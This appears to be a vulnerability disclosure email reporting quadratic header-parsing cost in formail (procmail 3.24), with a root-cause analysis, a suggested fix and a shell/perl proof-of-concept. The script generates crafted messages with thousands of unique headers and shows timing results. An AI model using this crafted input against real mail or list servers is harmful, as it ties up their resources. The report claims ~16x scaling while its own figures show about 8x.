Hello,

I'd like to report a resource-consumption issue in formail (procmail 3.24,
the version currently shipped by Debian and Ubuntu; upstream has been
dormant since 2001).

Summary: formail parses header fields with quadratic cost in the number of
unique header fields. On a fully RFC 5322 compliant 1 MiB message with
unique-named ~50-byte headers:

     5,250 fields      109 ms
    10,500 fields      351 ms
    21,000 fields      880 ms
    31,500 fields    1,919 ms
    100,000 fields (5 MiB)  29.5 s

Root cause (source level): src/fields.c addfield() (line 51) walks the
whole linked list to its tail on EVERY append —

    for(pp=pointer;*pp;pp= &(*pp)->fld_next);   /* skip to the end */

— with no tail pointer, and addbuf() invokes it once per header read. A
secondary linear scan exists in findf() (lines 20-30).

Impact: mail-driven formail invocations — procmail recipes
(digest splitting "formail +1 -ds", header rewriting, reply generation)
and SmartList mailing lists (which ships in the same source tree and pipes
list traffic through formail). An attacker posting to such a list delivers
the crafted message straight into formail: 29.5 s per message. procmail
proper (the LDA) is fully linear — the bug is specific to formail.

Suggested fix: maintain a tail pointer in addfield() (or use a
growable array), making each append O(1). For contrast, neomutt's STAILQ
carries a tail pointer (stqh_last) for the identical
append-a-header-per-line operation and is fully linear.

Reproduction script (POSIX shell + perl + formail):
---------------- MSL-2026-037-repro.sh begin ----------------
#!/bin/sh
# MSL-2026-037 reproduction: formail (procmail suite) header parsing cost
# quadratic in unique header field count.
# Self-contained: POSIX shell + perl (corpus gen) + formail (procmail
package).
# Usage: sh MSL-2026-037-repro.sh [reps]
set -e
REPS="${1:-1}"

gen_fields() {
    # 等字节 1 MiB、n 个唯一名 ~50B 字段（每行 <=998 合规）
    perl -e '
        my ($n) = @ARGV;
        my @head = ("From: Alice <alice\@sender.test>", "To:
<cost\@sink.test>",
                    "Subject: MSL-2026-037 repro", "Date: Sat, 18 Oct 2026
12:00:00 +0000");
        my $hb = 1048576 - 1024 - 30;
        my $per = int(($hb - ($n - 1) * 2) / $n);
        my $slack = $hb - ($n * $per + ($n - 1) * 2);
        for my $i (0 .. $n - 1) {
            my $name = "X-F$i";
            my $val = "F" x ($per - length($name) - 2 + ($i < $slack ? 1 :
0));
            push @head, "$name: $val";
        }
        my $body_len = 1048576 - length(join("\r\n", @head)) - 4;
        print join("\r\n", @head), "\r\n\r\n", ("B" x $body_len), "\r\n";
    ' "$1"
}

echo "formail: $(formail --version 2>/dev/null || echo 'procmail suite')"
for n in 5250 10500 21000 31500; do
    best=""
    r=1
    while [ "$r" -le "$REPS" ]; do
        gen_fields "$n" > /tmp/msl037.eml
        t0=$(date +%s%N)
        formail -X Received: < /tmp/msl037.eml > /dev/null
        ms=$(( ($(date +%s%N) - t0) / 1000000 ))
        if [ -z "$best" ] || [ "$ms" -lt "$best" ]; then best=$ms; fi
        r=$((r + 1))
    done
    printf '  fields %6d  %8s ms\n' "$n" "$best"
done
cat <<'EOF'

Expected: 4x fields -> ~16x time (quadratic; exp ~1.73 measured).
Root cause: fields.c addfield() walks the whole linked list to the tail on
every append (no tail pointer); addbuf() calls it once per header read.
Note: procmail proper (the LDA) is linear — the bug is specific to formail.
EOF

---------------- MSL-2026-037-repro.sh end ----------------

Measured output (Ubuntu 24.04, procmail 3.24):

    formail: procmail suite
      fields   5250       109 ms
      fields  10500       351 ms
      fields  21000       880 ms
      fields  31500      1919 ms

Re-run on 2026-10-20, Ubuntu procmail 3.24-1ubuntu2, same script:

      fields   5250       111 ms
      fields  10500       353 ms
      fields  21000       896 ms
      fields  31500      1935 ms

    4x fields (5250 -> 21000) -> 8.1x time

Thank you,
Drnbnonono